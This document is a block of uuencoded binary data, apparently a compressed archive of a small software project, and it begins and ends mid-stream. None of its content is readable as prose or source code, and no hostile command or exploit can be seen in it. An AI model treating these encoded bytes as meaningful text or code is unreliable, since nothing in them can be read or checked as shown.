MJ=E@)RBM\$[+9`GOU]I]D4IV`8G,$-4A4J(C8P#1D!2(_Y)(O;N7/^&[V@@; M%VS\DW.M&`1T292-\6Q%URLBE1!E91]F9?F]Y'-(8$,P_CW$`L]`RS](E`9Q-"6B`0?Y M3G#0M56=^KLCYH!NDYA$^0W1[`(LY3UP4_!'<++.;F>BV6RU5O1U!')H;&UR M+H>WR=L;\-$LIM@5W5Y?WZG:KFI1V/*;FCT+J(?T60R1&#PATKXR-O"HNK3K M=<'4@"*1,KT!SV`3KC'GGC7JO7FB9_YD[4P8.\?XF9-T?.@821PT)U]U!<,0 M$SWO9TF\EB39;@&KZ)'@[(.B=?.1=DN`/7/))B+8R#,!JF3#/-NB;+ M<:\M>N$-Q@W>L.!5;<]0]+6^(4J9W`QX1(0;)1&+!!%"^TQ2IKN`WHYT;W`V MV'6X3O$Z7C7:?9>,'L[.1B.?'!T=D?][_C'/HC$*+[@;GSZ0)L+(7\7P234=Z4I`0-JP6,!IP<%78'(DMC MY:3`E!J<_B*/1`";EC@/BZ6`J^%@1>@JR:,)T&:@QZ)-EHB0[[JB$#^<\3X' M$"Q/`WJ@9=-Q$5IM+6D(O^W(UW-RL,UM(C!YHP5O[G:6[&ZT!`*DM_BB=Q=+ MW,J[WNCA77^_(T4WR,$A6%H&Y5]ML`:!.F^HSEOSL`_-VEI;B\`"M4]0ZNTK M8:H2S_C9E.`G,KSX-H<%XFZ2(8U\@M`JV17Z$6[=B1SV`,$?>1FJ;(>J<)(C MG=?9C[3;4+^(ZF86Y=`_K9;N[*!%%)"1?@C/:7'+9KZKKOJI3?AX&S/EN]$A M;V_HBV$Q0":'-B+R9I>'>MQ9O9HE`KS>O)@GMF["#Q2PH!]Q/XP.K]8!<'AI M.Z`LU3D$;ZM5(GZ@S+`D(,5[8Q_NRY7S-IBCRO7!3$"3B%"//M!X(=,/=E]R MR6UG:ND2B.^%_O22CIG6H="]C@,->2G0K,EJ9UKE4083;3-)+Q>55&MQ_E2'`)#_C%Y"XM@@* M'6^I:D@"(SFT;LIT?+4/UT'!]")$S$!YY,I7&>>C(('00;G$+85KC%+?QSF4 M:ZC59=7@A*D@_::"O$;>AH4"!1GU-ZY@RO9Z,"Z!\X5P?0T#U]2>":!S@)`W M\221LU>L7H$))MK;7ELB^SXK@#?*$O++GV@O/),JWQ%K5O/68Y9`9H&!T-GX MALSX_69XOQ)CUIR!]SZ4+.,$\!!B]/#VR,=`>M1WE177@7._CY;0!\@7#7D+ MG'6,Q!%ZAW%/*N7I#]L(1 M6FO9N(0=52'9^^#=_H4SQJIF?V?G%I`LIB'8_)VD9`5E.S&4W^.\WIGFY73G MK;UTE'[PWMYNE$[?>?_MZ=O1[MO)NQ_LOO7.E$;O)4F\N_=!^MX[[^PT=;P# M'6MO[6KMF0L47F8-L:,07F;3B]H9Z%NI@! MI;A'#SL/\?L"SR5KHZ:J$^N+V(3'4[J!Y_XZZ$)12:ME$':PO>+EFV3!]:'7 MJJ['=%,O6RSVBS^.89`C]W4&+@A;%](Q-XNMG=6HH] MG95`GGI<&KA]/L:U>(WKCYM6B=,?B`SX;Q,V"?-YC:[K+S:@'.9&)I3/'#*B M\K5M1O\JDZF!NT93O5YA-G???8)14^!,)19M2HPB"_J@%S&N@QA?YFPI>5G; M;!>K5C?;Q5]`ZI36@@(#F0=V,S=&]HGQ>$*!877$6<_7P\[W)0<"V&+]6<8P MO]-C.N?#J:;5[WSY$P@Q`70`[$()R&_3YN'$5V_']3?&5H>36-7;<82N_;;* M>6-?:9QW/KB";HOQW$I2ER#?'X0)S#V#=!9Z*]R29`U^`M`_'5'?(;Z$IA%X M`.BTP3/_,L"9W_LI#8*V2O(`[@E?69JW$)0N;?;]Q`K7KR]4ZQ+6VL]K.VU^ MZ7(P9+#5A=:2^C[5AYXK7WW.1J_,#^JPRX2K1BZH*F,W/;YC' MXG@3*(R*XMKABJYA0&QAZ>5(IT^YBKQ%!8VZKMT;)C+FE/5V6`)[!RM08KF7 M*"Z0YG0,UBN0S!PT=[GU0SWB_2#.F?7A,IM776.P M$<^S_(+.8>XGQ_(&U#@'G^*6 MEK7[F!:N;B= MB7!$U5M$:W>TJ MU/SU4-OOX_L1.A9(?]$'[P9!&T'4BNAII./NM946)\14_RP`GI\51EKAHPP2 MC<#0#0BE=`Z'O.-$ADH>_TI3?`\BFN2`4/_S(_+C.!U8ZA"-`\'VI-!Y"YX- MR?=_!U!+`P04``````!Y6(9+````````````````$0```$%N871H96UA+TU, M;V=G97(O4$L#!!0````(`'E8ADMSG*9QB````+H````;````06YA=&AE;6$O M34QO9V=E3&:JGV]**T)G-Y?#N5=6'_=B@X%D@U=\7^PX,[X.C?6=XH3M]LRK^I)\>)V>5Q!._,. MT&^>,Y&!4W'@XJ<7LW_L%\L!7U!+`P04````"`!Y6(9+L)1CP=@!``"N!0`` M)P```$%N871H96UA+TU,;V=G97(O365T:&]D3&]G9V5R36]N:71O@+ M*C0B[KM,A?K3M_W`=!O6WUG@/^?95@9Y0H9HP>V=I>WQ2'&)MN`QPFRJLPS- M>+0>CX"D*)>YB"'.N;4P0[?22>,QTTHX;1JOK7,7,.3*&MLEMPCR%/3R-Q5] M=ZZ=:X]^X;!6U2?$9J@*&>+1X*C*YW6R<01`']RZA6)WZB*YJDSC'Z981#%MR< MW,+ZK&+!:9L^G!SB,'8*&U<%^>*IIP/$*V(L\(%2G[/K= M;Z8O7B'1IZ)`E5QK([DC)C6A\&YU_V,7NIGU5J3Z>Y`M` M>B?HP(5P#O4!96POH0SIQ7"E4?4LCB2#N<4W%1(<`51U-[*/??#>#V#^5'=* MWX/<,(>8T]N:>&546[RNHNV'?L]02P,$%`````@`>5B&2[$--REQ!```A`T` M`!\```!!;F%T:&5M82]-3&]G9V5R+TU,;V=G97(N8W-P\K*VQZFIO6MVU]!P^3(>^"1^@;%CQTY3 M0I"`AS;R[,R9Z\[,_OCVW7Y\%4?D`P@9B6]MBY M?(J<1QS9B2")U(C8\[\4.4.3*]"J>2] MH[\#?71?(^;:]C.1>:56QX*G24Y"(BH.PF4J:*:\;@9!`[8.[Q^1X9`<'1'- MF8";+FUSZ[@$/(NH"KB(KV.5]!K,B*W&9Z]LLSPJ(,K$'J>A[WSNMOJ-=J?? MT5M=:ZIW^N.)/AHU&GJKT6NTK'&[U7IJ?46,2J:$>9FJ)%7GJP2T!AD0CUP3I_SY1*$;=;)E0HI M(7:C5790L=:H&\YUK3X52/K(Q6615^=#Q^@9+=N\^;@4?AI&,(K0UAB8!*R[$[-P`\%ADXZ2J08IGTLO[`5HQ:@MK+0S.U*VRV^ M_77V9:=8\GK[LBX7+)SKI;:V9E-.V^22.<>8KV*71Z6G==(66UXC01I%!4^] M9EXF*HS#3WA.(XD@Y?=VU64WU7%#MLCE%\BV(5>:@I`!NBX591C:R?3)J^-' MY[/1>(IJMP]+F:D07,P@ZT$.7N\X4;99HY5L;ZA@F+;G62=S.K99_]Y40A3Q MCZ^8I`$\B;AW609EA_Z/K#4)NO)')A__\M#XX,`0AHJ_:IJ=E`=\7_S$F.(SJ MCH"ZX/ZZXY]R%BHN#"]S_I<2F.8EMM3?M32VZ[; MU3N-IJ4/V@-?M]J6U^ZW>P/J]JIY7P'DH_2Z'MNL3UCSNM%_[,PSSB]W"'N< M\5O=7L-M4[UO^:[>L7"-&;B#IC[H>]U^-_`;O6;K(&&Y,4=/LMJ^LU/+]_D$MK50>E:+<<=]?P:B4N MUN3KC<10^>2H;LD=7<>W`XGQ91&LR(JG@N3[/D'7/9#R`:&^OZ8K*B])B.W+ M!\(9_@4$G2`%(G$!9R:AS"D<>*BJ0QTB@DD)MUT2/U"I63$,ARYLU\[[V_G]]ROK.&;<$' MC:[B]WG!&3B)G7:JXI'ZNV<^KV]ORL;C-TAB'X@F?%WNG\:'A'"AXANBX46( M(#=@VY!;+3T&["F7:$4'6S`X@!>T(PE^*C0_M5C'-@27:?I MR,\FTS3U6D7?CIO983)M3$L]>CO+6%6Q;`7KJ`X+MU\VG]F)EXCOU'I:>!4M M.`KU&ZAV%6TRR6$'I;B63R'$58JQLSB7KO\!4$L#!!0````(`'E8ADL4#B?- M``0``-4+```;````06YA=&AE;6$O34QO9V=E M6H=QXS5XK:7$T`FM;/`&%1H1-EG&[YN4B5#?FK0/N"P4-6_F&"9&N#28&:%" ML>&RR;%8&^01$8Y>!`MNOUJZ[IPH'J/=\!#A?*)7*S2=DQ]`IW/B_X>26PLS MHU>&QSGI!SV*LTD^2Q&"==S1X[/6$L9V$,5"">L,=]JP7LY="=;'H$N,`J;P M"CX*%>DK6T7$"L(X0N5\K&_0O4Z,H3?6ZQ4ZVR<8V['ZH"66\J\2(5U."O;\ MZIW6.JX[)_7+DR#_M/B.U%4:K MF+`)1M^%8X^?56QUAMO!^?"#":H5I;C?AZ?_%-I,(K<(/B:Q3(%#,!TM8)/7 MZTZ\_\WS+3>P)/Q]VT`?9C0=?'&>)5+ZWUE4%T\O24\;S3.2\X:LLZS4\1>( MCHS19C?XL](/I1TL=:*B%]"%AY5_=XOY^:TQ4T\XDX+4/`(N)0RH8F+J?+1$ M"[G#B-(,5%`0YCT*D3"4=&W25O(R;(;"[.1N6#)/R6=6*,]:?O2=9IVC;BF) MK!=,R*(?BPVO*7[JOW`-K$3(^U2ISC`BHF6%_4?0?1!$4G;O`$#ETH0RX+5D MZ!U(&QPY[2SP0B7T#VBO\;M9"2J"9:8%);Q?:0Q&%?7T`)#AFJL5@BRRZ`M3 MH9\!W*3'W;P)L)+G*#(U"/-JBEV^Z9?">3:WZ)%!MZ M*&B=N9#&&R.%+9DOPOD=7\B\R]\."NPB9_4;4.S32?+#6XP1!I#?NEL4@W&/A1XWF"^492_]X/ M[O=HX#34E3X.HN@LT\HHER[W-Y_NY5L+OPD<[EH_%,7?<.'8((1)6%&%* M2&WU5ZQ+&PXT/S=D@TS9O0A]4-:2]$F6WF41[G?(@.9R`>(\7\"5 MQG(+53G,,%Z:H;AYE"7C_^0LU'WV!_&@F MZ/J6H8;2XJV)OZ/IZUOWSK%*U!O6^'XK'O3W!U!+`P04``````!Y6(9+```` M````````````'````$%N871H96UA+TU,;V=G97(O4')O<&5R=&EE5B&2RVG+@!T`@``D@4``"L```!!;F%T:&5M82]-3&]G9V5R+U!R M;W!E];>=KUK[4^*'XEGX(#$"_$*S&[<.!$)L0\>SW[[S3>> M;_WGYR]OA2KAMK4.Z_$-L;IAJMP,^&5WXW.T4-=5-:T19$7(9PN\?`&ER/-FVZPU@J2K4-14+1B["] M%Y1V,.]V!;:P=?KQ&G+Z$%JA%6(1UEI/EB"-R_DO)C:XC5R!Z M&4P4!?3R>M\$-F<\@@XDS$7&=2_TVX:QI67;=VM^O?H\NPS&)L?%:O2F^;)Q M*3(0?*&S,?J!#F$`X_=&6RRZGM?*7GE1#`=GZ20Y.9VYR=IRL_[0=RCL>2N5=\'/:L^#P?/"NMLIZ[O@")ONG-T$>@B9;RN MV0.Q=.PK::'Z-/3YMU[(`C[X.D/39V]P+I[WQ^P7FFA.TFR#>3BQ3$I2M#S* M1-UVB`(Y(]N%U04Y=50L";M*=J$@:R'^L"+XX/"`.@=;Z2<%&5*C%Q&TP=== M&\/!\3@9'\9ON@,5[FVX=_0/W8C]"U!+`P04``````!Y6(9+```````````` M````%0```$%N871H96UA+TUO8VM,:6)R87)Y+U!+`P04````"`!Y6(9+2CKQ MOY\````&`0``'P```$%N871H96UA+TUO8VM,:6)R87)Y+T-L87-S97,N8W-E MCDT*PD`,A?<#'XVP.T+22DW%6JNQC#:EM61J+IU$6W+DV4R1F-UEZJ5TK?^\DR<\ M!"-*47()L58."Y(*#<&N-'G,F4??:M5I!:&J)K-LP%@4@82+RM*FWS_I%QK` M,3+;9^?P-^!R`;]U-1\N.KB]13]"OP!02P,$%`````@`>5B&2Y*.^M&N`P`` MX`H``"<```!!;F%T:&5M82]-;V-K3&EB2]-;V-K3&EB2YC` M#%7$Y+SCI#9NMIVGP8IMR>43T':SK.LY3Q MR"'(+/%I86WRV/-,N`!!C2M8J)51L75#);P(/@-7"6A/F%ENYAW>N_?`08^$ M^"H&P<.\99G'^G\5C9[KE6:%"(4HN.8S5--<^?U8Q`\ MP(;RH$$Z'=)H$"?HPRR=^]Z&NB(<<6ICI<5EKDI>H^G*K#=ZXWN5JJ2H$OL\ M95'PM?7PT?%P\+#7'+;[1\W6_?YQL_UH>-1L#P^[[<-GQX^.^KWOR+&VJ6A> MIS9)[5F60/"2S335F>^M916JFR1],&PN00\5CT`'99P8&-_;TE9F8Z7L*RK` M)#2$X%2%'U<^ZJJU&V-`S'B&BDOPFF:%7M;M4*/H7.F/98Z#SRWWV#WTO3^K M*^,AX]#E>&8!T@9']]%@0W2%$[QVC+"J6KS-8FIY_%U8IE@7U!/N4&2ZGFS&O(W*)@Q M.2WLIPA;B=>>8B8!;V,LE=8$_<&S-\^?G(V[O0&ZW516-@.ME1Y#WAL"?.U$ M8GVO)JM@[ZB6V,5>YATF:/E>_?D?17T,'*B!==RW`YI$,R5Y=DU,\[SL#FGI M:J^@_L=PGE@0&RUP##%HG#!`3F3(TP@ZSB0SB,+.N1.#S5;#7L!W3$;JW+A# M3([9R^*]X.Y+)C_M!>Y32XN?"=CUQ+C>M#8R)@NJD[T=[05\!=9]8>U^K'A7 M9]5Z\A1=E[$>E@3C-9(>I]A%C1OF%[X2=9H-9"IV@B98[:'=`9O0[`5PKG;` MUK-D6O7Y$QFKW>23%.WV\3!A(N$0Y@'8A;38),)>A=R.]I4KSGK=*%>0RX7C MVF*6K$EO-9NXEQ&!6UN8C85BN$1`E\1L3 MNP!2,I(9+F/GA,J(I!+7LWR`$69=@FZ6G]>(UL1@9^)4$ZA*GR2*2;2'?)VZ M2PP`V=J02A\N5B&2R!L:'.+````[````!X```!!;F%T:&5M82]-;V-K3&EB M2]->45N=6TN8W-ERC$*`C$0!=`^D#OD`+*@EI8B-KN5B_T8!PV;3#23 M@$$\F85'\@I&UD*RGX'AOYGW\Y78T$GM,D=T*RG^:[/VUJ*.QA,W6R0,1MXL3.`>%8H.F!!RYG*0@<\@4TJL[KH36'`"%+<9="E2`EI[J\*6N$ MK_^R!YMP/JM@4<-R[`\IRGP`4$L#!!0````(`'E8ADM_1#%>N````'8!```@ M````06YA=&AE;6$O36]C:TQI8G)A7"C5VU%Z!THJ04$*:)C?%D+CR25Y`6^[%.2&9X[\U[\WZ^6B_U MF>6=1VA22I;?Y&"4`H'2:)\<08.38BTY27U=8P7<\`^[..!5`)*"^]H'FA+- M&_"6"V"9$?5)EHZ[CI([)2R4;4LE!?/H6H$LZ_)AB-Q7LI!5)G1@-IP(ZCS6Y:V4;QF#I7S&)[9M,??$CI<5S@CS#&%MX'4$L#!!0` M`````'E8ADL````````````````@````06YA=&AE;6$O36]C:TQI8G)A5B&2S-FQ.!W`@``F@4``"\```!!;F%T M:&5M82]-;V-K3&EB2]0UO9L/.UZU]I+BC^);^`! MB1_B%YC=N'$B$HK]X/'LV3-G/&?]^\?/X$A/X:9Q'JOA-4J%N2>C7VUOK:X$ M[:G"X=A4-2FT-VAGE*/;A)MHC];42[#MK;T]N$2-5BB8:&EL)6(E$)D)'@0' MSF&5J0;(06ZTMT8I+,"7UH1IR4\$R2GS&.LE.H<>C`3AO:4L>'1#&)="3S&" M'78+,!,JH`-OH#(%R2:Q4:@C^7)9TW![Z\M3?`ZOV^B6O,)^ M[\KD#^\HL\(VO1=?UR(OT.66ZEBJW]L$&ALM:1JL>`Y6U4(WFP$?K2E"[O]+ MV-C4C:5IR>A%"+^^`QSN'YQNVG1K18&5L`__$!F4#Q83H!W^#7H?1\?Z[\A1 MIC#.0PK%DZK$0QQ/R:FFYH@TOY#K/*&-AUF[*[+%K>,/5Y#SQS`:M>?9PT1" M8P)HQ"*NBYRMQQR)\V]*:4V5N"+1RVBF)*"3U_DGLGD;$$PD$3XQKGJBV]9/ M+2W:OEWQ[>6GR44T.#LO5>,W(Q>-*\J`Y%QG;65KVI33I+@U=_DT@5<#[4&5HN^PU MSNAI?\I^YHGF+,W5F,>3*Y1B18LCS=1-BRA0"K9=7)V3IY`:WS=MM'O'0SWA[OIFSZ#BO5B&2T6Y?CRR`0``W`0``"````!!;F%T:&5M82]-;V-K3&EB M2]387E(96QL;RYCM%'ZBM4LMPT=6A26E](Z/Q\WZ>CS[?7-Z41:@Z3 MVEA:#N)H^YB-M)246Z&5R3Z3(A9YM^1,J'_=V)2N[$[LD@DO7"";HED8EXXC MA4LR!>8$8YTOSL2,D>LX6L41N*\H9U+DD$LT!B98?R$I=4BU%4T5BPHMP<2R M9_OC$`W.J<'W^2VDC]KM!.>LBV-8P9SL`(Q?UKO%&\*T!;97MA>*-@(>O@H9 MD+F&(2CZ#]]F?]W4?OUV),E(H$[Z<-S?RJ0]6`\>(]A+8;)[\0[&T3U4>(%/ MWOB3YB7:<>A,G];(9$M6;5<6NM*DN2.LCM9ODOYC$;T7\;?!XA4ZX!T4S]82 M'JL2;$N44&EQ`9."<)'N?ZS-H`-/9X:=MQDY^VM)V4\6EIS?*7VFK`_:M:&" MK^:T(I6V_E/[I;$W$;R%$Q@.X>B@E"2`)XV6W3'S?HEA8N?N#SM5Y7+/T+Y3 M3J*BIFI<^RW[@;*DDX,V:1AVVX&VR0[>TK>\!^\-RJ8ZF"?M==HMXVB> MIG=6:U*>K7'I/1D25J*-H#1Q]!Y'$*RL-IH5*(W.089-5I4D#Z2UA>LV[\)^=-CHMH1K]`2/QE]= MPK/G@.A@;7.2/19,^NEN^!PR+^WA?N_/`FF#CI(V[B4.N,G\EEW:D^`61N+8 M_?@#;FL2X9R@MIQ#5A(6R?_Z+U8@J5&`@_S%,KB;.3,4%HO#]J1P;-T_T@$U MGC>=.`L'%]X/4$L#!!0````(`'E8ADMB`X!T_0```$8"```C````06YA=&AE M;6$O36]C:TQI8G)A M(.P4V'9H3PGL.%17M*:.W4E*:!A[LAWV2'N%.4O:-"FK,-B6OA\)_7Q]UVS< M3A4M"U99'%U_T]Q;BUJ,=YP^HT,R>@Y9&?<^SY5XDIOWU8F0T!M7'T$46*.5ML"L2F3)NU=?&R!7L$*H;%4![1_[CDL#I"Y3]`ZS!K,I(0_;]A;35S*" M8;V8#/3EM*/A"N<74$L#!!0````(`'E8ADO!.J?2OP$``$$&```C````06YA M=&AE;6$O36]C:TQI8G)A)Q9J2X@SJW#J[[OK0_#@DB%,N)U8FO8]Q:_03KE`&&HQ.90CPTWN>W/?`VK3V2B3`BSR#%,0 M&;<68L>=%(.B7X(J[#I^"8$;+5,8HAOKM,LZ-6I.;S&JVX"JTQF&9T8ZI'*0 M!<=&7JS(0:=?XQ>^]XZ`$3L>79)NH-<#MXD:_84`OH$.$QT[0ZJQ3OLT>JSD M@NY^AP/E>A'HZ*,9]:J,NO0)RF[TJ>RBH5;2:8/IUU!KB[4/'R?;ITG%AZUJ MI]3-F7QEJ-TVV@TW<(]&P[]RB<(3;BSY_UEYVT1+@G;AQY+5;P)>4Q:OAX([ M,8;YF^7L'OU?+P86[])P1Y,OKBKFKP_(6#$W*C;H9D:1C#-LO9R_S[<;F31U M'&.6Z>550H(JO(68Y_N%C07+7S.=%\<[K*:VWV<%?Q6IS.'--,OI,)XBG[#V MD?ZP81Z3>'2T;*M%.:%['LLS9<-I,6@$KW[T/`-02P,$%```````>5B&2P`` M`````````````!<```!!;F%T:&5M82]396-U3&:JGV]**T)G-Y?# MN5=6'_=B@X%D@U=\7^PX,[X.C?6=XH3M]LRK^I)\>)V>5Q!._,.T&^>,Y&!4W'@XJ<7LW_L M%\L!7U!+`P04````"`!Y6(9+HYA$7)@"``!>!P``,````$%N871H96UA+U-E M8W5R95=E8E-H;W!087-S=V]R9%-T96%L97(O4')O9W)A;2YC4Q[E&BDJ:1):J0^61<]4J]0:KZ9 MC]&4,&"+I!X?*9+^\^MW:H5:P^<9FRKN(HPY.]?Z\7`XZ!IN4N5$C)5MMK$. MX]:1'6LI,71"*\O.4*$18=OEJU#?V[H;7!77VI9;_.$ZNL@@7Y*"W7+[:,D\ M'"@>HTUXB###,#5XAXM9I)-K;NVS-LN90R[1#`:B6<-KF' M=RPD21=2A#N\@TMTD5X><8L03T`O'BB1^SEPL[;C'*."J^68"J0ELCLC'%)% M,"CMM8SNW\WAFT7C<_L(>R_[V[U)Q<(K#K9[HTD6Z7Y_7OPXF(\/:ZPM_F%P@B")VZ`(F*\ MD!L0"J9)!=JDWF-]N$B3VU=G3];J:Z1O!:^8U=6" M;U17JOK8S451M=H-7DMU*ILX59:O$)ZT6,(E%3>PSN?^SP']\`%"@U0),/GB M:YJI.TH#?`*%SU#LQQ-!6\B%$9I@?-B]$]%Z+2[X31MD&-G3QXF0Q6#U7>2= M\2.8_K%L7R]C3)?+4R$=,7/T\GH5]"^T\02:T\.*=<%&\+Z'!_.]ZV-V"LB3 M1&ZRE+OY/`AW7M?B2WYJ4R^]V(6BYY0R\_%X._Q\FQH7])*QW@1$'@QE"\^X MR/A1(OYOI^G>GW[LV\>SG94M]`+;_F5+G[]02P,$%```````>5B&2P`````` M`````````#$```!!;F%T:&5M82]396-US;>=KUC[4^"'XEGX(#$"_$*S&[=.!$-E4@.'L]^\\TW.S/^_>-G M<,K,8-HXC]7@&J7&W"LRK[>WUD^"\:K"P9BJ6FFT4[1SE:/;A)L8CY;J%=CV MUOX^7*!!*S1,C"1;B9@)1$;!@V##.:PRW8!RD)/QEK3&`GQI*76U7'W+V=3:`Q&:EFP8KG8%4M3+,9<&6I"+G_/Z5CJANK9B6'+TWX]1W@ MU7!TLBGHQHH"*V'O_Z$Z:,]B6D!JP!2]C\WE@FZ54YG&V#$I-/>R$O>Q@26[ MFIHM9?A%N6YJ#'F8MU&1+8:./UQ"SK=#!HWGZ8")A(8"&,0BGHNU%4$5O9X2C0RD%]H_S0]$_ M/,E%/SL]&/:/CPZRDV$A3T='1UTC;M$Z'KG5#8EZ5C.O[9/8O\`4$L#!!0````(`'E8ADN# M[R3SGP0``$`.``!)````06YA=&AE;6$O4V5C=7)E5V5B4VAO<%!AVLBS9\[L7'9F]]>/G[W'%VE"/H&0,6=]K6DT-`(LX&', MYGTM5Y'N:H^]V[=Z8\$_0*#(:\X3^7:-MPN%$XAHGJC75,Q!R;YVG,=)J!%D M9OAUIE3VT#1E<`8IE48:!X)+'BDCX*D9PB=(>`;"3*5?J)FM1L/2T"(AO6=I MQH4B*]-][>Z]%].2>W2A@!4[D&.JSN[/U@OUW=V?O5B;&O(TYT'T;!#>P MM7C_B/3[Y.B(:-X)^/F\9VXM5X3CA*J(B_0R5R6OT0S88CA^TS.KI15%E=@G M>1QZ7YNCIGUZ.ACIG:$]T&UG.-"/7:NA=]K6L=,X.76;[?9WY-CH5#2O,Q"G/`E!>*L8Q2![YLYJI3;A7+VD*L:S,97R,Q?A5`%-0/3,.G9C5TI(_62!"W_2KT'7ZLNJ/A4H0NSY MJ@*\3[;1,5H]\^KE2ODT3F"0H%)"M,O;I>92I.XR^X3A.))-7W=GT69]KS M8S8K]6<(6XLWEJ*8`;HN%648VI/1\9LGCUY/!L,1FMU>K'1&0G`Q@:);>=@( MTDSUS)JL@KVC@F':GA<]S[-[9OU[70E)PC^_89)&<)SPX+P*RH[\'^5T`@E0 M"3>1U3(]6>ASEBSV9*QP\,\)6^WKH)3]GV1=&?MG"M*MEC^!"`1.5"#/6)#D M(?2UZ4(B"B?%'S$X7`0,8B MCEJ'FW[)68T1!YP1E(?O<(;5G+TB%(8Q&TV-`:.JN%65=;(C,"*9(4%U@C=\ MWE??:@5VA[JZY?MMW6XT7;UK=4/=M=S`I& M4K1U==K^VN-)Y(:MH&6'>N0T+=UN.6V]&[1"W:>NU7:ZG29UKT_.EI%#?-@] M4KM/B,UU?G7%O]S:#%7.LLU)OZ/K^.XA*;Z*H@59\%R0\JU"T.D`I'Q`:!@N MY8K*4`D`-EY@:QL&,A5W01)$3%\CT&$QW3Y*EN%:36N=[&# M2(&X#JKK^+-)UF]02P,$%`````@`>5B&2PZ4U%:+````LP```"$```!!;F%T M:&5M82]396-U\66Q MX,SX*M36MXH3-O,M+W?3B:R";VQ+H#&+>6!,)M2`%#\P(,48`$U](H_6F;': MKX=LZDCQXK@_'T`[4EN9F\N9G.-5-M.VT`0?4?B'T9Y(:#&D``-H*I2&U24!]J*4*JJZL/: M.QLOK'>MO83ZD_H-?:C4'^HO=-9Q8D.Y-)'LO9PY<^;F/S]_:5:@*UF&,,,L M6/R,Z2PW9?+&.2Q254VU,)L;FQNF1`VSRGDLD@L4"C,OC;YW'K27!2834Y12 MH9VA7<@,W<.HJ?9H3;D"12>[NW"&&BU3$/W:@D4GP%(3/#!:-*)`.LB,]M8H MA1Q\;DV8Y_1&$'1D;J6>0TWGT(,1P+RW,@T>70*3G.DY1K##]@(63`5TX`T4 MADM1U6RR51'IH@"32>;)Z:WT>5=3LKGQ]=5J/"DW*$\:5I`ZY3/T/I:30KF23J8*8XT$4U2]@MW$DN5T M5)6TDIHVTK5]HHV'16,5V:+IY,,Y9)07HU%[Z@>8"JA,`(W(XSW+J!N)H^;\ MEU)84]1A%;+!:0"NO[:G(YFU`,)&$^9KQ7I^T=OTZIC;PRSO=?/9I>AK; MGOJQ]D<[(]:A*YF"%$NEI377-)T1C-]+XY`W4=]U?!8D[_?$$1]EHP,^$./A M_N!@-#X<'&-7@;I.+P/A0IVL[Q!2[DFJ)^?*':9B30 ME9C%N69*D:[UP!-[U2`X"D8=&&^7]!077S,VOMR2-:T@.`JJ!F_M;%'\X')S MJR%%"G<9WT,]WH32[PV3O61GF=MG5STT*PC`4!."]X!W"VYO^4,%%8\%"EVYZ M@M`^8ZA-PFM:]6PN/))7L`AJP864VG]8;2#;+A>IDU4C%79C9^R]F*X%['*Z.L_WZ.$+A?Q%>4D*?4&RQ;.E M1H!!GZQC8,&O4Y1'28[GEG`")3P<$\VCREX.4R3F\5\B#3X7GU!+`P04```` M"`!Y6(9+:8T5B00$``#C"P``(0```$%N871H96UA+U-E8W5R95=E8E-H;W`O M4')O9W)A;2YF<[56VX[3,!!]7VG_8<@#:J1NMETD0*B)!,M57+:B!8000MYD MTEA*[&`[NUL!7\8#G\0O,$Z3N&G#5<*5JLS]>#R>\?>OWP0K4)+3):'!X<'LD0!B[4V6/2(8(E7IL]Y@1VC8A<8D)<>_=B8QY`10A^.(J?;0FJC/V#!QXKEND,V;G"KD>M=`.I;[Z#Y?KUOB^GZP_E]))J&-4% MJM-T-E"N77.14*^ZM*Q M=7UO0P>Q0AO\\7(YA]&3^=TD453-`96Y1K`H?#H"+LST9HW"?[_O.J?#0K'D M!>#`*%'VT9!ZE4Q7UF6&VSDYO/<)I)'N/T+#V! MLHWWFN454JG!0I)%G[UM^\'JO)`"A_:0RQ47>\A[6,^>@N=YCIYEILBC;1I9 M$LT,-SE&;S"/+1PCP62->Y`I$6T+!&I.8)O@['AC,CNV#K8=GLMDW=`NR#0Z M"G==P+/:?WA$/J:[%C:C0"G)9!)Z\[/%T@,6&RY%Z!W7N#QGX:P,.\^Q$>P+ M52,9EB;1J[;%T.:2W^C.N"BI#LVZQ-"S6??LV=-W>SN]Z!=>2*3^&6;;0_\: M9MLG-E`=_?^@_BU"79T7O$ME71__`H[832'TN;:HB.D83:TZ1GT[7..S=\=> M]*'+E\AGO[]^FU8Q&F@V8W"EXH]A4,.=D._O=951W3G<\*G)UH#4:70.3U`W M.>VLJSO$W4[/7C'0W6LC7P->T;4UF%RK,]'K3:WY6UD!F:/"I.X5ETJ*50?M MN`T'U%QH0M0Q:F>_'%`O)46UD\2%C#,I:6"\ZY_KHP=+B,)H5^H6[==DX!U[ M5FW3U7ZJ4TN'%=TSQ2WJ3/W@/9]_$F531OMQNL^A)&E##\0W;:9^.<_.*O=O'B=(KU"K>K6#B>' M!S\`4$L#!!0````(`'E8ADLY[\2`K00``$,0```K````06YA=&AE;6$O4V5C M=7)E5V5B4VAO<"]396-U+/>."3^`7&E[6=A(2+*$)5 M%>W,[,R9G8MGOGWY:C^]BB.R`"$I9R.C9W8-`LSG`66SD9&JL+-G/'5NWK#/ M!7\/OB*7G$?R324_S"X<0NBED;KTQ`R4'!D'*8T"@Z!FAJ>Y4LECRY+^'&)/ MFC'U!9<\5*;/8RN`!40\`6'%>"KF(UW5I>D/-/EN.SU_;EF9I%9,\+J5C3M_LVM8*2"$ M>T'?[P^#3OBP-^@,^P_O=Q[Y_:`S]?8&]Q\^>M#S]OIHJ;ZAE;Q*59*JRV4" MSM$5V%9]UA(7G*LS+P:9>#XX$_!3`6]A.IGSQ+::S.K&OI003Z,E,C8N-'B5 M?)&FSP22/G+Q0;NY&)H/3$3]8W9E+%7\&!A@&."`LJQ,+B"@`OV4CA(I^K1+ M9`W#9.Z)9,P%:"M#$PLJ"\$6`7W_1[[N\!$C$=((=&Y:J\FYF:^[4_/S1G[E M*?JYR##,-8TB)T^6\91'^G&:I!6Q/`?"-(I*F69.O$H4C>DGY'N11"7Z7'M+ M(]^+4&,I4!%6\RZK:&=*F9M;<%%11:ZQA)0!^BN5QS!>AT<'KX^?7%[LCX]L M:XVI[[SU!,,@O\Q:F3.PK>9YO5"+P%3%N$JN0'`_C8&I_+F?8>`:H%>";KX[ M?6E;&^)UR4((8M`_H*I\_@;EFE+A`B+P)-3)L!GE))AR%BUW!#I#NRO.&?\7 MPEQB^:5`_Q4T3B-WU"9>M%$I0'E9>-II@%FP3;!^L-E.+V> M;6V7VXYL/.=<5NZ]G<.Z\>U6>SB_M'3&K3OY&Y_]0;_MFF;]D2>3PQ?2?7;; M'9A=M^JJ[@*;=6,2*+JU68Y!K78!I(12,$M>GHC7:-NV-LQ56#;?O*!F#UW5 